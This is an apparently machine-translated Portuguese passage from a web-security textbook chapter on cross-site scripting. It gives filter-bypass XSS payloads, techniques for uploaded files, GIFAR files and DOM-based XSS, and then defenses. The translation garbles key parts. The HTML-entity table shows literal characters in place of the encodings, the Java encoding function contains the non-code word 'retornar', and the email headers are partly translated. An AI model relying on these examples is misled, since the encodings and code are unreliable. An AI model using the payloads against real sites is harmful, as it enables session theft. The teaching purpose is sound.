Para executar essa tarefa de maneira completa, você precisa enviar todos os tipos de conteúdo HTML incomum dentro dos e-mails, conforme descrevemos para testar se há desvios nos filtros de entrada. Se você se limitar a usar um cliente de e-mail padrão, provavelmente descobrirá que não tem controle suficiente sobre o conteúdo bruto da mensagem ou que o próprio cliente pode sanitizar ou "limpar" sua sintaxe deliberadamente malformada. Nessa situação, geralmente é preferível usar um meio alternativo de geração de e-mails que lhe dê controle direto sobre o conteúdo das mensagens. Um método para fazer isso é usar o comando `sendmail` do UNIX. Você precisa ter configurado o computador com os detalhes do servidor de e-mail que ele deve usar para enviar e-mails de saída. Em seguida, você pode criar seu e-mail bruto em um editor de texto e envie-o usando este comando:

```
sendmail -t test@example.org < email.txt
```

A seguir, um exemplo de um arquivo de e-mail bruto. Além de testar várias cargas XSS e desvios de filtro no corpo da mensagem, você também pode tentar especificar um `Content-Type` e `um charset` diferentes:

```
MIME-Version: 1.0 De:
test@example.org
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Assunto: Teste XSS

<html>
<body>
<img src=``onerror=alert(1)>
</body>
</html>
.
```

Teste de XSS em arquivos carregados

Uma fonte comum, mas frequentemente ignorada, de vulnerabilidades XSS armazenadas surge quando um aplicativo permite que os usuários façam upload de arquivos que podem ser baixados e visualizados por outros usuários. Esse tipo de funcionalidade surge com frequência nos aplicativos atuais. Além das funções tradicionais de fluxo de trabalho projetadas para o compartilhamento de arquivos, os arquivos podem ser enviados como anexos de e-mail para usuários de webmail. Os arquivos de imagem podem ser anexados a entradas de blog e podem ser usados como fotos de perfil personalizadas ou compartilhados por meio de álbuns de fotos.

Vários fatores podem afetar a vulnerabilidade de um aplicativo a ataques de arquivos carregados:

- Durante o upload de arquivos, o aplicativo pode restringir as extensões de arquivo que podem ser usadas.
- Durante o upload do arquivo, o aplicativo pode inspecionar o conteúdo do arquivo para confirmar que ele está em conformidade com um formato esperado, como JPEG.
- Durante o download do arquivo, o aplicativo pode retornar um cabeçalho `Content-Type` especificando o tipo de conteúdo que o aplicativo acredita que o arquivo contém, como `image/jpeg`.
- Durante o download do arquivo, o aplicativo pode retornar um cabeçalho `Content-Disposition` que especifica que o navegador deve salvar o arquivo no disco. Caso contrário, para tipos de conteúdo relevantes, o aplicativo processa e renderiza o arquivo no navegador do usuário.

Ao examinar essa funcionalidade, a primeira coisa que você deve fazer é tentar carregar um arquivo HTML simples contendo um script de prova de conceito. Se o arquivo for aceito, tente fazer o download do arquivo da maneira usual. Se o arquivo original for devolvido sem modificações e seu script for executado, o aplicativo certamente está vulnerável.

Se o aplicativo bloquear o arquivo carregado, tente usar várias extensões de arquivo, inclusive `.txt` e `.jpg`. Se o aplicativo aceitar um arquivo contendo HTML quando você usar uma extensão diferente, ele ainda poderá estar vulnerável, dependendo de como o arquivo é entregue durante o download. Os aplicativos de correio da Web geralmente são vulneráveis dessa forma. Um invasor pode enviar e-mails contendo um anexo de imagem com aparência sedutora que, na verdade, compromete a sessão de qualquer usuário que a visualize.

Mesmo que o aplicativo retorne um cabeçalho `Content-Type` especificando que o arquivo baixado é uma imagem, alguns navegadores ainda poderão processar seu conteúdo como HTML se esse for o conteúdo real do arquivo. Por exemplo:

```
HTTP/1.1 200 OK
Content-Length: 25
Content-Type: image/jpeg

<script>alert(1)</script>
```

As versões mais antigas do Internet Explorer se comportavam dessa forma. Se um usuário solicitasse um `.jpg` diretamente (e não por meio de uma tag `<img>` incorporada) e a resposta anterior fosse recebida, o IE realmente processaria seu conteúdo como HTML. Embora esse comportamento tenha sido modificado desde então, é possível que outros navegadores se comportem dessa forma no futuro.

Ataques a arquivos híbridos

Geralmente, para se defender dos ataques descritos até agora, os aplicativos executam alguma validação do conteúdo do arquivo carregado para verificar se ele realmente contém dados no formato esperado, como uma imagem. Esses aplicativos ainda podem estar vulneráveis, usando "arquivos híbridos" que combinam dois formatos diferentes no mesmo arquivo.

Um exemplo de arquivo híbrido é o arquivo GIFAR, criado por Billy Rios. Um arquivo GIFAR contém dados no formato de imagem GIF e no formato JAR (arquivo Java) e é, na verdade, uma instância válida de ambos os formatos. Isso é possível porque os metadados do arquivo relacionados ao formato GIF estão no início do arquivo e os metadados relacionados ao formato JAR estão no final do arquivo. Por esse motivo, os aplicativos que validam o conteúdo dos arquivos carregados e que permitem arquivos que contêm dados GIF aceitam os arquivos GIFAR como válidos.

Um ataque a um arquivo carregado usando um arquivo GIFAR normalmente envolve as seguintes etapas:

- O invasor encontra uma função de aplicativo na qual os arquivos GIF carregados por um usuário podem ser baixados por outros usuários, como a foto de perfil de um usuário em um aplicativo de rede social.
- O invasor constrói um arquivo GIFAR contendo código Java que sequestra a sessão de qualquer usuário que o execute.

- O invasor faz upload do arquivo como sua foto de perfil. Como o arquivo contém uma imagem GIF válida, o aplicativo o aceita.
- O invasor identifica um site externo adequado a partir do qual pode realizar um ataque aproveitando o arquivo carregado. Pode ser o próprio site do invasor ou um site de terceiros que permita a criação de HTML arbitrário, como um blog.
- No site externo, o invasor usa a tag `<applet>` ou `<object>` para carregar o arquivo GIFAR do site de rede social como um applet Java.
- Quando um usuário visita o site externo, o applet Java do invasor é executado em seu navegador. No caso de applets Java, a política de mesma origem é implementada de forma diferente da política de inclusão de scripts normais. O applet é tratado como pertencente ao domínio do qual foi carregado, e não ao domínio que o invocou. Portanto, o miniaplicativo do invasor é executado no domínio do aplicativo de rede social. Se o usuário vítima estiver conectado ao aplicativo de rede social no momento do ataque, ou se tiver feito login recentemente e selecionado a opção "permanecer conectado", o miniaplicativo do invasor terá acesso total à sessão do usuário, e o usuário será comprometido.

Esse ataque específico usando arquivos GIFAR é evitado nas versões atuais do plug-in do navegador Java, que valida se os arquivos JAR que estão sendo carregados realmente contêm conteúdo híbrido. Entretanto, o princípio de usar arquivos híbridos para ocultar o código executável continua válido. Dada a crescente variedade de formatos de código executável do cliente atualmente em uso, é possível que existam ataques semelhantes em outros formatos ou que possam surgir no futuro.

XSS em arquivos carregados via Ajax

Alguns dos aplicativos atuais usam o Ajax para recuperar e renderizar URLs que são especificados após o identificador de fragmento. Por exemplo, as páginas de um aplicativo podem conter links como os seguintes:

```
http://wahh-app.com/#profile
```

Quando o usuário clica no link, o código do lado do cliente lida com o evento de clique, usa o Ajax para recuperar o arquivo mostrado após o fragmento e define a resposta dentro do `innerHtml` de um elemento `<div>` na página existente. Isso pode proporcionar uma experiência de usuário sem costuras, na qual clicar em uma guia na interface do usuário atualiza o conteúdo exibido sem recarregar a página inteira.

Nessa situação, se o aplicativo também contiver uma funcionalidade que permita fazer upload e download de arquivos de imagem, como uma foto de perfil de usuário, você poderá fazer upload de um arquivo de imagem válido que contenha marcação HTML incorporada e construir um URL que faça com que o código do lado do cliente busque a imagem e a exiba como HTML:

```
http://wahh-app.com/#profiles/images/15234917624.jpg
```

O HTML pode ser incorporado em vários locais de um arquivo de imagem válido, inclusive na seção de comentários da imagem. Vários navegadores, inclusive o Firefox e o Safari, processam um arquivo de imagem como HTML. As partes binárias da imagem são exibidas como lixo eletrônico, e qualquer HTML incorporado é exibido da maneira usual.

DICA Suponha que uma vítima em potencial esteja usando um navegador compatível com HTML5, em que solicitações Ajax entre domínios são possíveis com a permissão do domínio solicitado. Outro ataque possível nessa situação seria colocar um URL absoluto após o caractere de fragmento, especificando um arquivo HTML externo que o invasor controla totalmente, em um servidor que permite a interação Ajax do domínio que está sendo visado. Se o script no lado do cliente não validar que o URL que está sendo solicitado está no mesmo domínio, o ataque de inclusão de arquivo remoto no lado do cliente será bem-sucedido.

Como essa validação do domínio do URL seria desnecessária em versões anteriores do HTML, esse é um exemplo em que as alterações introduzidas no HTML5 podem introduzir condições exploráveis em aplicativos existentes que eram seguros anteriormente.

Encontrando e explorando vulnerabilidades de XSS baseadas em DOM

As vulnerabilidades XSS baseadas em DOM não podem ser identificadas enviando uma cadeia de caracteres exclusiva como cada parâmetro e monitorando as respostas quanto à aparência dessa cadeia. Um método básico para identificar erros de XSS baseados em DOM é percorrer manualmente o aplicativo com o navegador e modificar cada parâmetro de URL para contém uma string de teste padrão, como uma das seguintes:

```
"<script>alert(1)</script>
";alert(1)//
'-alert(1)-'
```

Ao exibir de fato cada página retornada no navegador, você faz com que todos os scripts do lado do cliente sejam executados, fazendo referência ao seu parâmetro de URL modificado, quando aplicável. Sempre que uma caixa de diálogo for exibida contendo seus cookies, você terá encontrado uma vulnerabilidade (que pode ser devido a formas baseadas em DOM ou outras formas de XSS). Esse processo poderia até ser automatizado por uma ferramenta que implementasse seu próprio interpretador de JavaScript.

No entanto, essa abordagem básica não identifica todos os bugs de XSS baseados em DOM. Como você viu, a sintaxe precisa necessária para injetar JavaScript válido em um documento HTML depende da sintaxe que já aparece antes e depois do ponto em que a string controlável pelo usuário é inserida. Pode ser necessário encerrar uma string com aspas simples ou duplas ou fechar tags específicas. Às vezes, novas tags podem ser necessárias, mas às vezes não. O código do aplicativo no lado do cliente pode tentar validar os dados recuperados do DOM e, ainda assim, pode estar vulnerável.

Se uma cadeia de caracteres de teste padrão não resultar em uma sintaxe válida quando for processada e inserida, o JavaScript incorporado não será executado e nenhuma caixa de diálogo será exibida, embora o aplicativo possa estar vulnerável a um ataque criado adequadamente. Se não for possível enviar todas as cadeias de caracteres de ataque XSS concebíveis em todos os parâmetros, a abordagem básica inevitavelmente deixa passar um grande número de vulnerabilidades. Uma abordagem mais eficaz para identificar bugs de XSS baseados em DOM é analisar todo o JavaScript do lado do cliente em busca de qualquer uso de propriedades do DOM que possa levar a uma vulnerabilidade. Há várias ferramentas disponíveis para ajudar a automatizar esse processo. Uma delas

Uma ferramenta eficaz é o DOMTracer, disponível no seguinte URL:

```
www.blueinfy.com/tools.html
```

ETAPAS DO HACK

Usando os resultados dos exercícios de mapeamento de aplicativos do Capítulo 4, analise cada parte do JavaScript do lado do cliente para as seguintes APIs, que podem ser usadas para acessar dados do DOM que podem ser controlados por meio de um URL criado:

- `document.location`
- `document.URL`
- `document.URLUnencoded`
- `document.referrer`
- `window.location`

Certifique-se de incluir os scripts que aparecem em páginas HTML estáticas, bem como em páginas geradas dinamicamente. Os bugs de XSS baseados em DOM podem existir em qualquer local em que sejam usados scripts do lado do cliente, independentemente do tipo de página ou de você ver parâmetros sendo enviados à página.

Em todos os casos em que uma das APIs anteriores estiver sendo usada, analise atentamente o código para identificar o que está sendo feito com os dados controláveis pelo usuário e se a entrada criada pode ser usada para causar a execução de JavaScript arbitrário. Em particular, analise e teste qualquer instância em que seus dados estejam sendo passados para qualquer uma das seguintes APIs:

- `document.write()`
- `document.writeln()`
- `document.body.innerHtml`
- `eval()`
- `window.execScript()`
- `window.setInterval()`
- `window.setTimeout()`

EXPERIMENTE!

```
http://mdsec.net/error/18/
http://mdsec.net/error/22/
http://mdsec.net/error/28/
http://mdsec.net/error/31/
http://mdsec.net/error/37/
http://mdsec.net/error/41/
http://mdsec.net/error/49/
http://mdsec.net/error/53/
http://mdsec.net/error/56/
http://mdsec.net/error/61/
```

Assim como ocorre com o XSS refletido e armazenado, o aplicativo pode executar várias filtragens na tentativa de bloquear ataques. Muitas vezes, a filtragem é aplicada no lado do cliente, e você pode analisar o código de validação diretamente para entender como ele funciona e tentar identificar quaisquer desvios. Todas as técnicas já descritas para filtros contra ataques XSS refletidos podem ser relevantes aqui.

EXPERIMENTE!

```
http://mdsec.net/error/92/
http://mdsec.net/error/95/
http://mdsec.net/error/107/
http://mdsec.net/error/109/
http://mdsec.net/error/118/
```

Em algumas situações, você pode descobrir que o aplicativo no lado do servidor implementa filtros projetados para evitar ataques XSS baseados em DOM. Mesmo que a operação vulnerável ocorra no cliente e o servidor não retorne os dados fornecidos pelo usuário em sua resposta, o URL ainda é enviado ao servidor. Portanto, o aplicativo pode validar os dados e não retornar o script vulnerável do lado do cliente quando uma carga maliciosa é detectada.

Se essa defesa for encontrada, você deverá tentar cada um dos possíveis desvios de filtro descritos anteriormente para vulnerabilidades de XSS refletidas para testar a robustez da validação do servidor. Além desses ataques, várias técnicas exclusivas dos bugs XSS baseados em DOM podem permitir que a carga útil do seu ataque evite a validação no lado do servidor.

Quando os scripts do lado do cliente extraem o valor de um parâmetro do URL, eles raramente analisam a string de consulta adequadamente em pares de nome/valor. Em vez disso, eles normalmente procuram no URL o nome do parâmetro seguido do sinal de igual e, em seguida

extrai o que vier em seguida, até o final da URL. Esse comportamento pode ser explorado de duas maneiras:

- Se a lógica de validação do servidor estiver sendo aplicada por parâmetro, e não em todo o URL, a carga útil poderá ser colocada em um parâmetro inventado anexado após o parâmetro vulnerável. Por exemplo:

  ```
  http://mdsec.net/error/76/Error.ashx?message=Sorry%2c+an+error+occurr
  ed&foo=<script>alert(1)</script>
  ```

  Aqui, o servidor ignora o parâmetro invented e, portanto, ele não está sujeito a nenhuma filtragem. No entanto, como o script do lado do cliente pesquisa a string de consulta por `message=` e extrai tudo o que vem depois disso, ele inclui sua carga útil na string que processa.

- Se a lógica de validação do servidor estiver sendo aplicada a todo o URL, e não apenas ao parâmetro da mensagem, ainda será possível evitar o filtro colocando a carga útil à direita do caractere de fragmento HTML (`#`):

  ```
  http://mdsec.net/error/82/Error.ashx?message=Sorry%2c+ocorreu+um+erro#<script>alert(1)</sc
  ript>
  ```

  Aqui, a string de fragmento ainda faz parte do URL. Portanto, ela é armazenada no DOM e será processada pelo script vulnerável do lado do cliente. No entanto, como os navegadores não enviam a parte do fragmento do URL para o servidor, a string de ataque nem sequer é enviada para o servidor e, portanto, não pode ser bloqueada por nenhum tipo de filtro no lado do servidor. Como o script do lado do cliente extrai tudo após `message=`, a carga útil ainda é copiada na fonte da página HTML.

EXPERIMENTE!

```
http://mdsec.net/error/76/
http://mdsec.net/error/82/
```

MITO COMUM

"Verificamos cada solicitação do usuário em busca de tags de script incorporadas, portanto, não há possibilidade de ataques XSS."

Além da questão de saber se é possível contornar algum filtro, você já viu três motivos pelos quais essa afirmação pode estar incorreta:

- Em algumas falhas de XSS, os dados controláveis pelo invasor são inseridos diretamente em um contexto JavaScript existente, portanto, não há necessidade de usar nenhuma tag de script ou outro meio de introduzir código de script. Em outros casos, você pode injetar um manipulador de eventos contendo JavaScript sem usar nenhuma tag de script.

- Se um aplicativo receber dados por meio de algum canal fora de banda e renderizá-los em sua interface da Web, qualquer bug de XSS armazenado poderá ser explorado sem o envio de qualquer carga maliciosa usando HTTP.
- Os ataques contra XSS baseado em DOM podem não envolver o envio de nenhuma carga maliciosa ao servidor. Se a técnica de fragmento for usada, a carga útil permanecerá no cliente o tempo todo.

Alguns aplicativos empregam um script mais sofisticado no lado do cliente que executa uma análise mais rigorosa da string de consulta. Por exemplo, ele pode pesquisar no URL o nome do parâmetro seguido pelo sinal de igual, mas extrair o que vem a seguir somente até chegar a um delimitador relevante, como `&` ou `#`. Nesse caso, os dois ataques descritos anteriormente poderiam ser modificados da seguinte forma:

```
http://mdsec.net/error/79/Error.ashx?foomessage=<script>alert(1)</script
>&message=Sorry%2c+an+error+occurred

http://mdsec.net/error/79/Error.ashx#message=<script>alert(1)</script>
```

Em ambos os casos, a primeira correspondência para `message=` é seguida imediatamente pela string de ataque, sem nenhum delimitador intermediário, de modo que a carga útil é processada e copiada na fonte da página HTML.

EXPERIMENTE!

`http://mdsec.net/error/79/`

Em alguns casos, você pode descobrir que o processamento complexo é realizado em dados baseados no DOM. Portanto, é difícil rastrear todos os diferentes caminhos percorridos pelos dados controláveis pelo usuário e toda a manipulação que está sendo executada, somente por meio da revisão estática do código-fonte do JavaScript. Nessa situação, pode ser vantajoso usar um depurador de JavaScript para monitorar dinamicamente a execução do script. A extensão FireBug para o navegador Firefox é um depurador completo para código e conteúdo do lado do cliente. Ela permite que você defina pontos de interrupção e observe códigos e dados interessantes, facilitando consideravelmente a tarefa de entender um script complexo.

MITO COMUM

"Estamos seguros. Nosso verificador de aplicativos da Web não encontrou nenhum bug de XSS."

Como você verá no Capítulo 19, alguns scanners de aplicativos da Web fazem um trabalho razoável para encontrar falhas comuns, inclusive XSS. No entanto, deve ser evidente neste ponto que muitas vulnerabilidades de XSS são sutis de serem detectadas, e a criação de um exploit funcional pode exigir muita sondagem e experimentação. No momento, nenhuma ferramenta automatizada pode identificar todos esses bugs de forma confiável.

Prevenção de ataques XSS

Apesar das várias manifestações do XSS e das diferentes possibilidades de exploração, a prevenção da vulnerabilidade em si é, na verdade, conceitualmente simples. O que a torna problemática na prática é a dificuldade de identificar cada instância em que os dados controláveis pelo usuário são manipulados de forma potencialmente perigosa. Uma determinada página de um aplicativo pode processar e exibir dezenas de itens de dados do usuário. Além da funcionalidade principal, as vulnerabilidades podem surgir em mensagens de erro e em outros locais. Não é de surpreender, portanto, que as falhas de XSS sejam tão prevalentes, mesmo nos aplicativos mais críticos para a segurança.

Diferentes tipos de defesa são aplicáveis ao XSS refletido e armazenado, por um lado, e ao XSS baseado em DOM, por outro, devido às suas diferentes causas principais.

Prevenção de XSS refletido e armazenado

A causa principal do XSS refletido e armazenado é que os dados controláveis pelo usuário são copiados para as respostas do aplicativo sem a validação e a sanitização adequadas. Como os dados estão sendo inseridos no código-fonte bruto de uma página HTML, os dados mal-intencionados podem interferir nessa página, modificando não apenas seu conteúdo, mas também sua estrutura - saindo de strings entre aspas, abrindo e fechando tags, injetando scripts e assim por diante.

Para eliminar as vulnerabilidades de XSS refletidas e armazenadas, a primeira etapa é identificar todas as instâncias do aplicativo em que os dados controláveis pelo usuário estão sendo copiados para as respostas. Isso inclui dados que são copiados da solicitação imediata e também quaisquer dados armazenados originados de qualquer usuário em qualquer momento anterior, inclusive por meio de canais fora de banda. Para garantir que cada instância seja identificada, não há substituto real para uma análise minuciosa de todo o código-fonte do aplicativo.

Depois de identificar todas as operações que estão potencialmente em risco de XSS e que precisam ser adequadamente defendidas, você deve seguir uma abordagem tripla para evitar o surgimento de vulnerabilidades reais:

- Validar a entrada.
- Validar a saída.
- Elimine pontos de inserção perigosos.

Uma ressalva a essa abordagem surge quando um aplicativo precisa permitir que os usuários criem conteúdo em formato HTML, como um aplicativo de blog que permite HTML nos comentários. Algumas considerações específicas relacionadas a essa situação são discutidas após a descrição das técnicas defensivas gerais.

Validar entrada

No momento em que o aplicativo recebe dados fornecidos pelo usuário que

podem ser copiados em uma de suas respostas em qualquer momento futuro, o aplicativo deve executar

validação dependente do contexto desses dados, da maneira mais rigorosa possível. Os possíveis recursos a serem validados incluem os seguintes:

- Os dados não são muito longos.
- Os dados contêm apenas um determinado conjunto permitido de caracteres.
- Os dados correspondem a uma expressão regular específica.

Diferentes regras de validação devem ser aplicadas da forma mais restritiva possível a nomes, endereços de e-mail, números de conta e assim por diante, de acordo com o tipo de dados que o aplicativo espera receber em cada campo.

Validar saída

No momento em que o aplicativo copia em suas respostas qualquer item de dados originado de algum usuário ou de terceiros, esses dados devem ser codificados em HTML para higienizar caracteres potencialmente maliciosos. A codificação HTML envolve a substituição de caracteres literais por suas entidades HTML correspondentes. Isso garante que os navegadores lidem com caracteres potencialmente maliciosos de forma segura, tratando-os como parte do conteúdo do documento HTML e não como parte de sua estrutura. As codificações HTML dos principais caracteres problemáticos são as seguintes:

- " - `"`
- ' - `'`
- & - `&`
- < - `<`
- > - `>`

Além dessas codificações comuns, qualquer caractere pode ser codificado em HTML usando seu código numérico de caractere ASCII, como segue:

- % - `%`
- * - `*`

Deve-se observar que, ao inserir a entrada do usuário em um valor de atributo de tag, o navegador decodifica o valor em HTML antes de processá-lo. Nessa situação, a defesa de simplesmente codificar em HTML qualquer caractere normalmente problemático pode ser ineficaz. De fato, como vimos, para alguns filtros, o invasor pode ignorar os caracteres de codificação HTML na própria carga útil. Por exemplo:

```
<img src="javascript&#58;alert(document.cookie)">
<img src="image.gif" onload="alert(&apos;xss&apos;)">
```

Conforme descrito na seção a seguir, é preferível evitar a inserção de dados controláveis pelo usuário nesses locais. Se isso for considerado inevitável por algum motivo, é preciso tomar muito cuidado para evitar que o filtro seja ignorado. Por exemplo,

Se os dados do usuário forem inseridos em uma cadeia de caracteres JavaScript entre aspas em um manipulador de eventos, todas as aspas ou barras invertidas na entrada do usuário devem ser escapadas adequadamente com barras invertidas, e a codificação HTML deve incluir os caracteres `&` e `;` para evitar que um invasor execute sua própria codificação HTML.

Os aplicativos ASP.NET podem usar a API `Server.HTMLEncode` para higienizar caracteres comuns maliciosos em uma cadeia de caracteres controlável pelo usuário antes que ela seja copiada na resposta do servidor. Essa API converte os caracteres `"` `&` `<` e `>` em suas entidades HTML correspondentes e também converte qualquer caractere ASCII acima de 0x7f usando a forma numérica de codificação.

A plataforma Java não tem uma API integrada equivalente; no entanto, é fácil estruturar seu próprio método equivalente usando apenas a forma numérica de codificação. Por exemplo:

```
public static String HTMLEncode(String s)
{
    StringBuffer out = new StringBuffer();
    for (int i = 0; i < s.length(); i++)
    {
        char c = s.charAt(i);
        if(c > 0x7f || c=='"' || c=='&' || c=='<' || c=='>')
            out.append("&#" + (int) c + ";");
        else out.append(c);
    }
    retornar out.toString();
}
```

Um erro comum que os desenvolvedores cometem é codificar em HTML somente os caracteres que imediatamente parecem ser úteis para um invasor no contexto específico. Por exemplo, se um item estiver sendo inserido em uma string entre aspas duplas, o aplicativo poderá codificar somente o caractere `"`. Se o item estiver sendo inserido sem aspas em uma tag, ele poderá codificar somente o caractere >. Essa abordagem aumenta consideravelmente o risco de serem encontrados desvios. Como você viu, um invasor pode explorar com frequência a tolerância dos navegadores a HTML e JavaScript inválidos para alterar o contexto ou injetar código de maneiras inesperadas. Além disso, muitas vezes é possível estender um ataque por vários campos controláveis, explorando a filtragem diferente que está sendo empregada em cada um deles. Uma abordagem muito mais robusta é sempre codificar em HTML todos os caracteres que possam ser de uso potencial para um invasor, independentemente do contexto em que estejam sendo inseridos. Para oferecer o mais alto nível de garantia possível, os desenvolvedores podem optar por codificar em HTML todos os caracteres não alfanuméricos, inclusive espaços em branco. Normalmente, essa abordagem não impõe nenhuma sobrecarga mensurável ao aplicativo e representa um grande obstáculo a qualquer tipo de ataque de desvio de filtro.

O motivo para combinar a validação de entrada e a sanitização de saída é que isso envolve duas camadas de defesas, sendo que uma delas oferece alguma proteção se a outra falhar. Como você viu, muitos filtros que executam a validação de entrada e

A validação de saída está sujeita a desvios. Ao empregar ambas as técnicas, o aplicativo ganha alguma garantia adicional de que um invasor será derrotado mesmo que um de seus dois filtros seja considerado defeituoso. Das duas defesas, a validação de saída é a mais importante e é obrigatória. A execução da validação rigorosa de entrada deve ser vista como um failover secundário.

Obviamente, ao desenvolver a própria lógica de validação de entrada e saída, deve-se tomar muito cuidado para evitar vulnerabilidades que levem a desvios. Em particular, a filtragem e a codificação devem ser realizadas após qualquer canonização relevante, e os dados não devem ser mais canonizados posteriormente. O aplicativo também deve garantir que a presença de bytes NULL não interfira em sua validação.

Eliminação de pontos de inserção perigosos

Há alguns locais na página do aplicativo em que é muito perigoso inserir entradas fornecidas pelo usuário, e os desenvolvedores devem procurar um meio alternativo de implementar a funcionalidade desejada.

A inserção de dados controláveis pelo usuário diretamente no código de script existente deve ser evitada sempre que possível. Isso se aplica ao código dentro das tags `<script>` e também ao código dentro dos manipuladores de eventos. Quando os aplicativos tentam fazer isso com segurança, frequentemente é possível contornar seus filtros defensivos. E quando um invasor assume o controle do contexto dos dados que controla, ele geralmente precisa realizar um trabalho mínimo para injetar comandos de script arbitrários e, portanto, executar ações mal-intencionadas.

Quando um atributo de tag pode ter um URL como valor, os aplicativos devem evitar incorporar a entrada do usuário, pois várias técnicas podem ser usadas para introduzir código de script, inclusive o uso de pseudoprotocolos de script.

Outra armadilha a ser evitada são as situações em que um invasor pode manipular o conjunto de caracteres da resposta do aplicativo, seja por meio de injeção em uma diretiva relevante ou porque o aplicativo usa um parâmetro de solicitação para especificar o conjunto de caracteres preferido. Nessa situação, os filtros de entrada e saída bem projetados em outros aspectos podem falhar porque a entrada do invasor é codificada em um formato incomum que os filtros não reconhecem como potencialmente malicioso. Sempre que possível, o aplicativo deve especificar explicitamente um tipo de codificação em seus cabeçalhos de resposta, não permitir nenhum meio de modificá-lo e garantir que seus filtros XSS sejam compatíveis com ele. Por exemplo:

```
Content-Type: text/html; charset=ISO-8859-1
```

Permitir HTML limitado

Alguns aplicativos precisam permitir que os usuários enviem dados em formato HTML que serão inseridos nas respostas do aplicativo. Por exemplo, um aplicativo de blog pode

permitem que os usuários escrevam comentários usando HTML, apliquem formatação aos seus comentários, incorporem links ou imagens e assim por diante. Nessa situação, a aplicação das medidas anteriores em toda a linha quebrará o aplicativo. A marcação HTML dos usuários será codificada em HTML nas respostas e, portanto, será exibida na tela como marcação real, e não como o conteúdo formatado necessário.

Para que um aplicativo ofereça suporte a essa funcionalidade com segurança, ele precisa ser robusto e permitir apenas um subconjunto limitado de HTML, que não ofereça nenhum meio de introduzir código de script. Isso deve envolver uma abordagem de lista branca na qual somente tags e atributos específicos são permitidos. Fazer isso com sucesso é uma tarefa nada trivial porque, como você viu, há várias maneiras de usar tags aparentemente inofensivas para executar códigos.

Por exemplo, se o aplicativo permitir as tags `<b>` e `<i>` e não considerar nenhum atributo usado com essas tarefas, os seguintes ataques poderão ser possíveis:

```
<b style=behavior:url(#default#time2) onbegin=alert(1)>
<i onclick=alert(1)>Clique aqui</i>
```

Além disso, se o aplicativo permitir a combinação aparentemente segura do `<a>` com o atributo `href`, o seguinte ataque pode funcionar:

```
<a href="data:text/html; base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Clique
aqui</a>
```

Várias estruturas estão disponíveis para validar a marcação HTML fornecida pelo usuário para tentar garantir que ela não contenha nenhum meio de execução de JavaScript, como o projeto OWASP AntiSamy. Recomenda-se que os desenvolvedores que precisam permitir que os usuários criem HTML limitado usem diretamente uma estrutura madura adequada ou examinem de perto uma delas para entender os vários desafios envolvidos.

Uma abordagem alternativa é usar uma linguagem de marcação intermediária personalizada. Os usuários têm permissão para usar a sintaxe limitada da linguagem intermediária, que o aplicativo processa para gerar a marcação HTML correspondente.

Prevenção de XSS baseado em DOM

As defesas descritas até agora obviamente não se aplicam diretamente ao XSS baseado em DOM, porque a vulnerabilidade não envolve dados controlados pelo usuário sendo copiados para as respostas do servidor.

Sempre que possível, os aplicativos devem evitar o uso de scripts no lado do cliente para processar dados do DOM e inseri-los na página. Como os dados que estão sendo processados estão fora do controle direto do servidor e, em alguns casos, até mesmo fora de sua visibilidade, esse comportamento é inerentemente arriscado.

Se for considerado inevitável usar scripts no lado do cliente dessa forma, as falhas de XSS baseadas em DOM podem ser evitadas por meio de dois tipos de defesas, correspondentes à validação de entrada e saída descrita para XSS refletido.

Validar entrada

Em muitas situações, os aplicativos podem executar uma validação rigorosa nos dados que estão sendo processados. De fato, essa é uma área em que a validação no lado do cliente pode ser mais eficaz do que a validação no lado do servidor. No exemplo vulnerável descrito anteriormente, o ataque pode ser evitado com a validação de que os dados que estão prestes a ser inseridos no documento contêm apenas caracteres alfanuméricos e espaços em branco. Por exemplo:

```
<script>
    var a = document.URL;
    a = a.substring(a.indexOf("message=") + 8, a.length); a
    = unescape(a);
    var regex=/^([A-Za-z0-9+\s])*$/; if
    (regex.test(a))
        document.write(a);
</script>
```

Além desse controle no lado do cliente, uma validação rigorosa dos dados de URL no lado do servidor pode ser empregada como uma medida de defesa em profundidade para detectar solicitações que possam conter explorações mal-intencionadas de falhas de XSS baseadas em DOM. No mesmo exemplo que acabamos de descrever, seria realmente possível que um aplicativo evitasse um ataque empregando apenas a validação de dados no lado do servidor, verificando o seguinte:

- A string de consulta contém um único parâmetro.
- O nome do parâmetro é `message` (verificação com distinção entre maiúsculas e minúsculas).
- O valor do parâmetro contém apenas conteúdo alfanumérico.

Com esses controles em vigor, ainda seria necessário que o script do lado do cliente analisasse corretamente o valor do parâmetro `de mensagem`, garantindo que nenhuma parte fragmentada do URL fosse incluída.

Validar saída

Assim como nas falhas de XSS refletidas, os aplicativos podem executar a codificação HTML dos dados DOM controláveis pelo usuário antes de serem inseridos no documento. Isso permite que todos os tipos de caracteres e expressões potencialmente perigosos sejam exibidos na página de forma segura. A codificação HTML pode ser implementada no JavaScript do lado do cliente com uma função como a seguinte:

```
function sanitize(str)
{
```

```
    var d = document.createElement('div');
    d.appendChild(document.createTextNode(str));
    return d.innerHTML;
}
```

Resumo

Este capítulo examinou as várias maneiras pelas quais as vulnerabilidades XSS podem surgir e as maneiras pelas quais as defesas comuns baseadas em filtros podem ser contornadas. Como as vulnerabilidades de XSS são muito comuns, geralmente é fácil encontrar vários bugs em um aplicativo que são fáceis de explorar. O XSS se torna mais interessante, pelo menos do ponto de vista da pesquisa, quando há várias defesas que o forçam a criar alguma entrada altamente elaborada ou a aproveitar algum recurso pouco conhecido de HTML, JavaScript ou VBScript para fornecer uma exploração funcional. O próximo capítulo se baseia nesse fundamento e examina uma ampla variedade de outras maneiras pelas quais os defeitos no aplicativo da Web no lado do servidor podem deixar sua marca.
usuários expostos a ataques mal-intencionados.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Que "assinatura" padrão no comportamento de um aplicativo pode ser usada para identificar a maioria das instâncias de vulnerabilidades de XSS?
2. Você descobre uma vulnerabilidade XSS refletida na área não autenticada da funcionalidade de um aplicativo. Indique duas maneiras diferentes pelas quais a vulnerabilidade poderia ser usada para comprometer uma sessão autenticada no aplicativo.
3. Você descobre que o conteúdo de um parâmetro de cookie é copiado sem nenhum filtro ou sanitização na resposta do aplicativo. Esse comportamento pode ser usado para injetar JavaScript arbitrário na página retornada? Ele pode ser explorado para realizar um ataque XSS contra outro usuário?
4. Você descobre um comportamento XSS armazenado em dados que só são exibidos para você mesmo. Esse comportamento tem algum significado de segurança?
